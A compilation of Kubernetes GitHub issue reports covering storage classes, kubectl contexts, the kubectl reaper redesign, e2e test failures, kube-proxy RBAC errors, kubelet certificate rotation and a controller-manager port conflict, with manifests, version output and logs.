<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \r i searched in the issues and asked for help multiple times on slack.\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5 beta\r \r it is currently not possible to specify the desired fstype when using dynamically provisioned volumes. as i understand it, only a pv resource can specify the fstype. but as we don't create pvs by ourself when using dynamic provisioning, we have no chance to specify it.\r \r i tried to understand the source when it comes to dynamic provisioning. as i understand it, the cloud specific volumesource  e.g. azurediskvolumesource or awselasticblockstorevolumesource  hold the desired fstype. for azurediskvolumesource, i could not find any place where fstype is actually set. for awselasticblockstorevolumesource, it is set to ext4 on creation and then never touched again.\r \r i would suggest that  fstype should be added to either storageclass or persistentvolumeclaim. i'm not sure however which one would best fit, or if it fits at all.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.355+67859efaec9118-dirty\ , gitcommit:\ 67859efaec9118a04e8a42adf6de4a8850b869a0\ , gittreestate:\ dirty\ , builddate:\ 2017-02-04t06:10:14z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.355+67859efaec9118-dirty\ , gitcommit:\ 67859efaec9118a04e8a42adf6de4a8850b869a0\ , gittreestate:\ dirty\ , builddate:\ 2017-02-04t06:10:14z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r no storageclass info when using  cluster/kubectl.sh get pv  if create pvc with alpha annotation\r \r   what you expected to happen  :\r storageclass info should displayed\r \r   how to reproduce it    as minimally and precisely as possible :\r 1.cluster/kubectl.sh create -f https://raw.githubusercontent.com/openshift-qe/v3-testfiles/master/persistent-volumes/ebs/dynamic-provisioning/storageclass.yaml\r storageclass \ foo\  created\r 2.create pvc with alpha annotation\r {\r   \ kind\ : \ persistentvolumeclaim\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ ebsc\ ,\r     \ annotations\ : {\r         \ volume.alpha.kubernetes.io/storage-class\ : \ foo\ \r     }\r   },\r   \ spec\ : {\r     \ accessmodes\ :  \r       \ readwriteonce\ \r      ,\r     \ resources\ : {\r       \ requests\ : {\r         \ storage\ : \ 4gi\ \r       }\r     }\r   }\r }\r 3.check pv and pvc storageclass info\r  root@ip-172-18-9-70 kubernetes   cluster/kubectl.sh get pvc\r name      status    volume                                     capacity   accessmodes   storageclass   age\r ebsc      bound     pvc-6ced0725-f265-11e6-9f86-0ecb7d4ecce4   4gi        rwo           foo            5s\r  root@ip-172-18-9-70 kubernetes   cluster/kubectl.sh get pv\r name                                       capacity   accessmodes   reclaimpolicy   status    claim          storageclass   reason    age\r pvc-6ced0725-f265-11e6-9f86-0ecb7d4ecce4   4gi        rwo           delete          bound     default/ebsc                            13s\r \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no, this is a bug report.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r    context was not found \r    context was not found kubectl \r    cannot set context \r    cannot set context kubectl \r    cannot select context \r    cannot select context kubectl \r \r ---\r \r   is this a bug report or feature request?    choose one :   bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{\r   major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ ,\r   gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ ,\r   gittreestate:\ clean\ , builddate:\ 2017-02-17t20:48:54z\ ,\r   goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : macbook pro mid-2015\r -   os    e.g. from /etc/os-release : macos  10.11.6 \r -   kernel    e.g.  uname -a  :  darwin rinzler 15.6.0 darwin kernel version 15.6.0: mon jan  9 23:07:29 pst 2017; root:xnu-3248.60.11.2.1~1/release_x86_64 x86_6 \r -   install tools  :  homebrew \r -   others  : n/a\r \r \r   what happened  :\r when deleting the context that was my current context, i entered a state where i am seemingly unable to set my context. the  kubectl config get-contexts  shows none as the current:\r    \r $ kubectl config set-context minikube\r context \ minikube\  set.\r $ kubectl config get-contexts\r current   name                   cluster                authinfo               namespace\r           other                  other                  other                              \r           minikube               minikube               minikube\r    \r \r also, when trying to take any actions that require a context the following error is presented:\r    \r error in configuration: context was not found for specified context: <deleted context name>\r    \r \r when viewing the full config   kubectl config view   i can see that my selected context is still the one i deleted. \r \r   what you expected to happen  :\r i believe there are two expectations i had:\r \r    kubectl  should allow me to delete my current context, but not enter an inconsistent state in the process\r -or-\r    kubectl  should either provide a warning or disallow removing your current context\r \r   how to reproduce it    as minimally and precisely as possible :\r i believe that you just need a  kubectl  configuration with multiple contexts. i had three before deleting the context that has me unable to set a new context.\r \r   list all  kubectl  contexts to find your current context   kubectl config get-contexts  \r   delete your current context\r   list your current contexts again, and you'll see no contexts are created\r   try to set your context with one of the ones that exist   kubectl config set-context <context that exists>  \r   listing your contexts again will show none being set\r \r   anything else we need to know  :\r   3 contexts were configured before starting to delete one\r     2 of them were gke clusters, automatically set up by the  gcloud  binary\r     1 is a  minikube  context set up by  minikube \r   the context i deleted was one of the  gke  contexts\r \r the issue was resolved by manually setting my context by editing  ~/.kube/config .

summary of proposed code change\r \r   1. remove selector-overlap detection code from reapers that have it because ownerref changes in 1.5 effectively prevent selector-overlap.\r   1. remove scale down code from reapers since foreground gc can do it for you\r   1. change default timeout to either num pods time pod grace period, or infinity.\r \r   changes in kubectl behavior\r \r a relnote will call out this change in behavior as seen by users:\r \r in 1.7 and before, when you use kubectl delete to delete a replicaset, replicationcontroller, daemonset, deployment, statefulset or job, it would return after all the pods had begun deleting, but before they completed deleting.  in 1.8, it will wait for all the pods to complete deleting.   with this new behavior, the involved pod names  which are reused by statefulset  and the pod's resources are guaranteed to be freed when the command returns.   the default timeout is increased to  blah .  use a shorter timeout if you do not want to wait, using the  --blah  flag.\r \r   after the change:\r \r \r \r ideally each reaper code is just:\r \r    \r c := blah client\r c.delete name, foregroundgcoption, verylargetimeout \r    \r \r   summary of current reapers\r all code in pkg/kubectl/delete.go in functions called  stop .\r \r     replicaset reaper\r - make a replicaset client.  \r - set timeout based on number of replicas\r - detect overlap and error out if found.\r - scale while waiting for scale to zero with timeout\r - delete the rs\r \r    replicationcontroller reaper\r same as rs\r \r    daemonset reaper\r - make ds client\r - hacky scale to zero\r - wait for zero scheduled\r - delete ds\r \r    statefulset reaper\r - make ss client\r - scale to zero\r - delete ss\r \r  todo : check that pvcs are not owned, so that they are orphaned when you gc them.\r \r    job reaper\r - make job and pods clients\r - set timeout based on number of pods \r - scale down\r - delete dead pods\r - delete job\r \r  todo : check that dead pods still have ownerref to job so gc gets them.\r \r    deployment reaper\r \r - make deployment and rs clients\r - pause it, set replicas to zero, and revision history to zero\r - wait for it to observe the pause\r - stop all rses using rs reaper\r - delete deployment\r \r  todo : will deployment controller consider itself paused when it gets a deletion timestamp?  if so, don't need \ paused\ .\r \r  todo : will revision history get gc'ed?\r \r    pod reaper\r \r - get pod's grace period\r - delete pod with grace period.\r \r   version considerations\r \r kubectl supports 1 version of skew.\r foreground gc and all needed gc features are supported in 1.6, according to @caesarxuchao so we could just entirely replace the reaper code with the new simpler code.  \r \r  todo : need to verify that in 1.6 the controllers-loops all know to stop reconciling when a controller-object has a deletion timestamp  this gets delivered as an update, not a delete, via watch, so need to make sure it is handling the right way.\r \r   client failure or timeout\r \r if kubectl fails or times out before foreground gc is done, the gc proceeds anyways  according to the expert, @caesarxuchao .  if the user wants rerun kubectl, kubectl will try the delete again, and the second foreground delete should again wait on the deletion of that same object  again according to the expert . \r \r todo: make sure the delete command will allow re-deleting an object that is in a deleting state.

failure cluster  5a9c28535b7cfa1a5be5  https://go.k8s.io/triage 5a9c28535b7cfa1a5be5        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:260 oct 16 22:36:47.529: error waiting for all pods to be running and ready: 1 / 15 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                      node              phase   grace conditions kube-dns-86cc76f8d-9b6mp e2e-229-node-bzgw pending        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-16 22:21:25 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-16 22:21:25 +0000 utc reason:containersnotready message:containers with unready status:  kubedns dnsmasq sidecar } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-16 22:21:25 +0000 utc reason: message:}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:198           failure cluster statistics: 1 tests failed,    2 jobs failed,    71 builds failed. failure stats cover 1 day time range '17 oct 2017 11:59 utc' to '18 oct 2017 11:59 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kubeadm-gce | 36 |  18 oct 2017 11:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/7279  | | ci-kubernetes-e2e-kubeadm-gce-cni-flannel | 35 |  18 oct 2017 11:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-cni-flannel/301  |   current status  https://go.k8s.io/triage 5a9c28535b7cfa1a5be5

is this a bug report or feature request?  :\r  \r   description  :\r \r according to the preemption's doc, we'll take  qos; but in  kubelet eviction manager  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/eviction/eviction_manager.go l134 , the higher  pod maybe rejected because of memory pressure. if taintnodesbycondition enabled, the pod need memory pressure toleration.\r \r /cc @bsalamat @dashpole , correct me if any mis-understanding.

 \r   what happened  :\r kube-proxy addon can't start properly. there are a lot of errors in kube-proxy.log\r \r   what you expected to happen  :\r everything works fine\r \r   configuration  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: openstack with floating ip\r - os  e.g. from /etc/os-release : coreos  1576.4.0\r - public node domain: etsys-sm-107.vms\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubelet-wrapper, after apserver, controller-manager and scheduler are up and running try to create kube-proxy addon like following:\r    \r kubectl describe clusterrolebinding system:node-proxier\r name:         system:node-proxier\r labels:       kubernetes.io/bootstrapping=rbac-defaults\r annotations:  rbac.authorization.kubernetes.io/autoupdate=true\r role:\r   kind:  clusterrole\r   name:  system:node-proxier\r subjects:\r   kind  name               namespace\r   ----  ----               ---------\r   user  system:kube-proxy \r    \r \r    \r   kubernetes options\r k8s_pod_network=${k8s_pod_network:-\ 10.2.0.0/16\ }\r \r   master node hostname\r master_hostname=${master_hostname:-\ etsys-sm-107.vms\ }\r \r   master private ip  internal openstack network \r master_private_ipv4=${master_private_ipv4:-\ 10.16.50.3\ }\r \r k8s_image_url=${k8s_image_url:-\ gcr.io/google_containers/kube-proxy-amd64\ }\r k8s_image_tag=${k8s_image_tag:-\ v1.9.2\ }\r \r kubectl create serviceaccount kube-proxy -n kube-system\r \r cat <<eof | kubectl create -f -\r apiversion: v1\r kind: configmap\r metadata:\r   labels:\r     app: kube-proxy\r   name: kube-proxy\r   namespace: kube-system\r data:\r   config.conf: |-\r     apiversion: kubeproxy.config.k8s.io/v1alpha1\r     kind: kubeproxyconfiguration\r     bindaddress: 0.0.0.0\r     clientconnection:\r       acceptcontenttypes: \ \ \r       burst: 10\r       contenttype: application/vnd.kubernetes.protobuf\r       kubeconfig: /var/lib/kube-proxy/kubeconfig.conf\r       qps: 5\r     clustercidr: ${k8s_pod_network}\r     configsyncperiod: 15m0s\r     conntrack:\r       max: null\r       maxpercore: 32768\r       min: 131072\r       tcpclosewaittimeout: 1h0m0s\r       tcpestablishedtimeout: 24h0m0s\r     enableprofiling: false\r     healthzbindaddress: 0.0.0.0:10256\r     iptables:\r       masqueradeall: false\r       masqueradebit: 14\r       minsyncperiod: 0s\r       syncperiod: 30s\r     ipvs:\r       minsyncperiod: 0s\r       scheduler: \ \ \r       syncperiod: 30s\r     metricsbindaddress: 127.0.0.1:10249\r     mode: \ iptables\ \r     oomscoreadj: -999\r     portrange: \ \ \r     resourcecontainer: /kube-proxy\r     udptimeoutmilliseconds: 250ms\r   kubeconfig.conf: |-\r     apiversion: v1\r     kind: config\r     clusters:\r     - cluster:\r         certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\r         server: https://${master_private_ipv4}:6443\r       name: default\r     contexts:\r     - context:\r         cluster: default\r         namespace: default\r         user: default\r       name: default\r     current-context: default\r     users:\r     - name: default\r       user:\r         tokenfile: /var/run/secrets/kubernetes.io/serviceaccount/token\r eof\r    \r    \r cat <<eof | kubectl create -f -\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   labels:\r     k8s-app: kube-proxy\r   name: kube-proxy\r   namespace: kube-system\r spec:\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       k8s-app: kube-proxy\r   template:\r     metadata:\r       labels:\r         k8s-app: kube-proxy\r     spec:\r       containers:\r       - command:\r         - /usr/local/bin/kube-proxy\r         - --config=/var/lib/kube-proxy/config.conf\r         image: ${k8s_image_url}:${k8s_image_tag}\r         imagepullpolicy: ifnotpresent\r         name: kube-proxy\r         resources: {}\r         securitycontext:\r           privileged: true\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /var/lib/kube-proxy\r           name: kube-proxy\r         - mountpath: /run/xtables.lock\r           name: xtables-lock\r         - mountpath: /lib/modules\r           name: lib-modules\r           readonly: true\r       dnspolicy: clusterfirst\r       hostnetwork: true\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       serviceaccount: kube-proxy\r       serviceaccountname: kube-proxy\r       terminationgraceperiodseconds: 30\r       tolerations:\r       - effect: noschedule\r         key: node-role.kubernetes.io/master\r       - effect: noschedule\r         key: node.cloudprovider.kubernetes.io/uninitialized\r         value: \ true\ \r       volumes:\r       - configmap:\r           defaultmode: 420\r           name: kube-proxy\r         name: kube-proxy\r       - hostpath:\r           path: /run/xtables.lock\r           type: fileorcreate\r         name: xtables-lock\r       - hostpath:\r           path: /lib/modules\r           type: \ \ \r         name: lib-modules\r   updatestrategy:\r     rollingupdate:\r       maxunavailable: 1\r     type: rollingupdate\r eof\r    \r    \r kubectl get pods -n kube-system\r name                                       ready     status    restarts   age\r kube-apiserver-etsys-sm-107.vms            1/1       running   0          30m\r kube-controller-manager-etsys-sm-107.vms   1/1       running   0          30m\r kube-proxy-hr5n2                           1/1       running   0          23m\r kube-scheduler-etsys-sm-107.vms            1/1       running   0          29m\r    \r \r \r then in the kube-proxy container log:\r \r    \r i0126 16:03:26.790305       1 feature_gate.go:184  feature gates: map  \r i0126 16:03:26.818141       1 server_others.go:138  using iptables proxier.\r w0126 16:03:26.828707       1 server.go:586  failed to retrieve node info: nodes \ etsys-sm-107.vms\  is forbidden: user \ system:serviceaccount:kube-system:kube-proxy\  cannot get nodes at the cluster scope\r w0126 16:03:26.829066       1 proxier.go:463  invalid nodeip, initializing kube-proxy with 127.0.0.1 as nodeip\r i0126 16:03:26.829197       1 server_others.go:171  tearing down inactive rules.\r i0126 16:03:26.883649       1 server.go:426  version: v1.9.2\r i0126 16:03:26.899166       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i0126 16:03:26.899530       1 conntrack.go:52  setting nf_conntrack_max to 131072\r i0126 16:03:26.899693       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0126 16:03:26.899775       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i0126 16:03:26.901474       1 config.go:202  starting service config controller\r i0126 16:03:26.901588       1 controller_utils.go:1019  waiting for caches to sync for service config controller\r i0126 16:03:26.901743       1 config.go:102  starting endpoints config controller\r i0126 16:03:26.901783       1 controller_utils.go:1019  waiting for caches to sync for endpoints config controller\r e0126 16:03:26.903858       1 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:85: failed to list  core.service: services is forbidden: user \ system:serviceaccount:kube-system:kube-proxy\  cannot list services at the cluster scope\r e0126 16:03:26.904050       1 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ master-1.novalocal.150d67a4c6b96806\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ master-1.novalocal\ , uid:\ master-1.novalocal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ starting\ , message:\ starting kube-proxy.\ , source:v1.eventsource{component:\ kube-proxy\ , host:\ master-1.novalocal\ }, firsttimestamp:v1.time{time:time.time{wall:0xbe92f233b5a5dc06, ext:264361194, loc:  time.location  0x291e040 }}, lasttimestamp:v1.time{time:time.time{wall:0xbe92f233b5a5dc06, ext:264361194, loc:  time.location  0x291e040 }}, count:1, type:\ normal\ , eventtime:v1.microtime{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, series:  v1.eventseries  nil , action:\ \ , related:  v1.objectreference  nil , reportingcontroller:\ \ , reportinginstance:\ \ }': 'events is forbidden: user \ system:serviceaccount:kube-system:kube-proxy\  cannot create events in the namespace \ default\ '  will not retry! \r e0126 16:03:26.904349       1 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:85: failed to list  core.endpoints: endpoints is forbidden: user \ system:serviceaccount:kube-system:kube-proxy\  cannot list endpoints at the cluster scope\r e0126 16:03:27.905309       1 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:85: failed to list  core.service: services is forbidden: user \ system:serviceaccount:kube-system:kube-proxy\  cannot list services at the cluster scope\r e0126 16:03:27.907396       1 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:85: failed to list  core.endpoints: endpoints is forbidden: user \ system:serviceaccount:kube-system:kube-proxy\  cannot list endpoints at the cluster scope\r e0126 16:03:28.906940       1 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:85: failed to list  core.service: services is forbidden: user \ system:serviceaccount:kube-system:kube-proxy\  cannot list services at the cluster scope\r ....\r    \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-instrumentation-bugs \r \r   what happened  :\r alpha e2e suite has been failing since 3/26. \r https://k8s-testgrid.appspot.com/google-gce gci-gce-alpha-features\r \r it seems like event-exporter pod cannot come up:\r    \r i0327 07:32:40.246  mar 27 07:32:40.245: info: error waiting for all pods to be running and ready: 1 / 6 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r i0327 07:32:40.246  pod                                    node                 phase   grace conditions\r i0327 07:32:40.248  event-exporter-v0.1.8-68fc748c65-77n6k bootstrap-e2e-master running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-03-27 07:15:58 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-03-27 07:22:31 +0000 utc reason:containersnotready message:containers with unready status:  event-exporter prometheus-to-sd-exporter } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-03-27 07:15:58 +0000 utc reason: message:} \r i0327 07:32:40.248  \r i0327 07:32:40.248  \u001b 91m\u001b 1mfailure  912.130 seconds \u001b 0m\r    \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r \r   what you expected to happen  :\r we need to have a cluster level stub device plugin based e2e test, which has been long pending task slip through several cycles. after we have that, we can configure it to run in different environments, like scale, soak, upgrade, and downgrade.\r \r for simplicity, we can create a stub_device_plugin directory under test/images/ with a simple stub device plugin implementation in a .go file, and simple makefile, dockerfile, etc. the stub device plugin can start with defined behavior and just provide simple container runtime setting during allocate call. for reference, pkg/kubelet/util/pluginwatcher/example_plugin.go is an example plugin we have used in pluginwatcher test. we can have a similar one for stub device plugin that implements the device plugin api.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r we routinely upgrade our kubernetes cluster to from 1.8->1.9->1.10->1.11->1.12 so that i cannot say when exactly that happend but it is evident that when kubernetes enabled at some point kubelet certificate rotation by default it hasn't patched  /etc/kubernetes/kubelet.conf  to refer to that \ rotatable\  certificate   /var/lib/kubelet/pki/kubelet-client-current.pem  .\r in out cluster we have two cases:\r 1.   initial/first node  :  kubelet.conf   contains base64-encoded  client-certificate-data/client-key-data \r 2.   other nodes  :  kubelet.conf   refers to an inital certificate that was created at node's join  and when certitificate rotation feature didn't exist , i.e. it refers to  kubelet-client.crt/kubelet-client.key \r \r in both cases after base64-encoded or inital certificate expires, a restart of  kubelet  service fails due to expired certificate although there is a valid \ rotated\  certificate  kubelet-client-current.pem  in  /var/lib/kubelet/pki/ .\r \r as a separate problem  maybe deserving its own separate ticket  in 2nd case kubelet acknowleges existence of \ rotated\  certificate but nonethelest fails to start:\r    \r  server.go:408  version: v1.12.3\r  plugins.go:99  no cloud provider specified.\r  bootstrap.go:205  part of the existing bootstrap client certificate is expired: 2018-12-05 07:50:00 +0000 utc\r  certificate_store.go:131  loading cert/key pair from \ /var/lib/kubelet/pki/kubelet-client-current.pem\ .\r  bootstrap.go:235  failed to connect to apiserver: the server has asked for the client to provide credentials\r    \r in the 1st case kubelet just fails without acknowlegement of kubelet-client-current.pem.\r \r   what you expected to happen  : \r \r i expect kubeadm  or kubelet?  to patch kubelet.conf to refer to a \ rotatable\  certificate   /var/lib/kubelet/pki/kubelet-client-current.pem   when certificate rotation feature is enabled by default  during cluster upgrade procedure? .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:57:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare-meta, created by kubeadm\r - os  e.g. from /etc/os-release : rhel 7.4\r - kernel  e.g.  uname -a  : 4.9.x\r - install tools: kubeadm\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r kube-controller-manager is in crashloopbackoff. it's not starting up because of listen tcp 0.0.0.0:10252: bind: address already in use\r \r   what you expected to happen  :\r kube-controller-manager will restart and will start without any problem \r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm not sure how to reproduce it.\r \r   anything else we need to know?  :\r core@ip-10-125-98-238 ~ $ docker ps -a | grep kube-controller-manager\r daa19ab18578        gcr.io/google_containers/hyperkube                   \ /bin/sh -c '/hyperk…\    44 seconds ago       exited  255  43 seconds ago                              k8s_kube-controller-manager_kube-controller-manager-ip-10-125-98-238.ec2.internal_default_a4c10e5c991dd390f83a067ba4b17bfa_232\r 3a14b0be21a8        gcr.io/google_containers/pause-amd64:3.0             \ /pause\                  17 hours ago         up 17 hours                                              k8s_pod_kube-controller-manager-ip-10-125-98-238.ec2.internal_default_a4c10e5c991dd390f83a067ba4b17bfa_0\r \r core@ip-10-125-98-238 ~ $ ps -aux | grep controller\r root      1637  0.0  0.0   4340   200 ?        ss   mar22   0:00 /bin/sh -c /hyperkube controller-manager --master=http://127.0.0.1:8080  --address=0.0.0.0 --cloud-provider=aws --cloud-config=/etc/cloud.conf --attach-detach-reconcile-sync-period 60s --v 4 --node-monitor-grace-period=300s --leader-elect=true --horizontal-pod-autoscaler-upscale-delay=2m0s --horizontal-pod-autoscaler-downscale-delay=4m0s --horizontal-pod-autoscaler-use-rest-clients=true --service_account_private_key_file=/etc/kubernetes/ssl/apiserver-key.pem --root-ca-file=/etc/kubernetes/ssl/ca.pem\r root      1667  0.4  0.5 679976 172168 ?       sl   mar22  21:05 /hyperkube controller-manager --master=http://127.0.0.1:8080 --address=0.0.0.0 --cloud-provider=aws --cloud-config=/etc/cloud.conf --attach-detach-reconcile-sync-period 60s --v 4 --node-monitor-grace-period=300s --leader-elect=true --horizontal-pod-autoscaler-upscale-delay=2m0s --horizontal-pod-autoscaler-downscale-delay=4m0s --horizontal-pod-autoscaler-use-rest-clients=true --service_account_private_key_file=/etc/kubernetes/ssl/apiserver-key.pem --root-ca-file=/etc/kubernetes/ssl/ca.pem\r core     18429  0.0  0.0   6848   988 pts/0    s+   10:29   0:00 grep --colour=auto controller\r \r core@ip-10-125-98-238 ~ $ docker logs -f daa19ab18578\r i0326 10:29:03.272549       8 controllermanager.go:109  version: v1.8.15\r i0326 10:29:03.273440       8 leaderelection.go:174  attempting to acquire leader lease...\r f0326 10:29:03.273583       8 controllermanager.go:221  listen tcp 0.0.0.0:10252: bind: address already in use\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.15\ , gitcommit:\ c2bd642c70b3629223ea3b7db566a267a1e2d0df\ , gittreestate:\ clean\ , builddate:\ 2018-07-11t17:59:56z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.15\ , gitcommit:\ c2bd642c70b3629223ea3b7db566a267a1e2d0df\ , gittreestate:\ clean\ , builddate:\ 2018-07-11t17:52:15z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  :\r name=\ container linux by coreos\ \r 